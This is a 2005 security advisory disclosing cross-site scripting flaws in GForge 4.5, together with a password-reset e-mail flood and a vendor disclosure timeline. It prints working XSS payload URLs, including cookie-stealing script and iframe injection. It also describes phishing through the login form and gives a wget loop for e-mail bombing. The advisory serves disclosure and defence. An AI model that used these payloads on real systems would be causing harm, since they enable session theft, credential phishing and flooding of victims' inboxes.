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Various Vulnerabilities in GForge
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Author: Jose Antonio Coret (Joxean Koret)
Date: 2005
Location: Basque Country
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Affected software description:
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GForge - 4.5 (Current)
GForge has tools to help your team collaborate, like message forums and
mailing lists; tools to create and control access to Source Code
Management
repositories like CVS and Subversion. GForge automatically creates a
repository
and controls access to it depending on the role settings of the project.
Web : http://gforge.org/
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A) Cross Site Scripting Vulnerabilities
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1.- In the Forum Module:
http://[target]/forum/forum.php?forum_id=";><script>alert('hi')</script>
http://[target]/forum/forum.php?group_id=";><script>alert('hi')</script>
(NOTE: The group_id parameter is ALWAYS vulnerable.)
2.- In the Task Module:
http://[target]/pm/task.php?func=detailtask&project_task_id=";><h1>hi!</h1>&group_id=1&group_project_id=3
3.- In the Snippets Module:
http://[target]/snippet/detail.php?type=snippet&id=21";><iframe%
20src=http://www.playboy.com></iframe><font%20size="
4.- In the search engine:
To try it simply enter any valid XSS test such as "><h1>hi!!!</h1> in
the
search field and press enter or try the following URL:
http://[target]/search/?type_of_search=soft&words=%22%3E%3Ch1%3EHi%21%
3C%2Fh1%3E%3Ciframe+src%3Dhttp%3A%2F%2Fslashdot.org%3E%3C%2Fiframe%
3E&Search=Search
5.- In other modules:
http://[target]//frs/admin/qrs.php?group_id=";><script>alert(document.cookie)</script>
http://[target]/notepad.php?form=parent;%0d%0a-->%0d%
0a</script><body><h1>hi!</h1></body></html><!--
NOTE: (rows, cols and wrap paremeter are also vulnerables).
6.- In the Login Form:
The login form is also vulnerable to XSS (Cross Site Scripting) attacks.
This may
be used to launch phising attacks by sending HTML e-mails (i.e.: saying
that you need
to upgrade to the latest GForge version due to a security problem) and
putting in the
e-mail an HTML link that points to an specially crafted url that inserts
an html form
in the GForge login page and when the user press the login button,
he/she send the
credentials to the attackers website.
POC. To "play" with this, simply go to the login page and insert in the
login field
then following text:
"><iframe src=http://www.playboy.com></iframe><font size="
B) E-Mail Flood
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The 'forgot your password?' feature allows a remote user to load a
certain URL to
cause the service to send a validation e-mail to the specified user's
e-mail address.
There is no limit to the number of messages sent over a period of time,
so a remote
user can flood the target user's secondary e-mail address. E-Mail Flood,
E-Mail bomber.
The following is a "Proof Of Concept" of this vulnerability:
[joxean@nemobox]$ while [ true ]; do
> wget http://[target]/account/lostpw.php?loginname=joxean
> done
The "pending account" confirmation e-mail is also vulnerable so, a
mailicious user can
flood any e-mail box even if they are not GForge registered users.
The fix:
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There is no fix at the moment.
Workarounds:
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There are no workarounds except by using a method to automagically catch
the XSS
request such as WASP (available via CVS at
https://savannah.nongnu.org/wasp) or
mod_security (available at http://www.modsecurity.org/) for Apache Web
Servers.
Timeline:
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25-Apr-2005 Vendor contacted
25-Apr-2005 Initial Vendor response (without interest on fixing bugs)
25-Apr-2005 Response to vendor
04-Jun-2005 One XSS bug (not discovered by me) closed without a fix
23-Jun-2005 Vendor RE-contacted (No response)
27-Jul-2005 Advisory released
Disclaimer:
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The information in this advisory and any of its demonstrations is
provided
"as is" without any warranty of any kind.
I am not liable for any direct or indirect damages caused as a result of
using the information or demonstrations provided in any part of this
advisory.
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Contact:
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Joxean Koret at joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es
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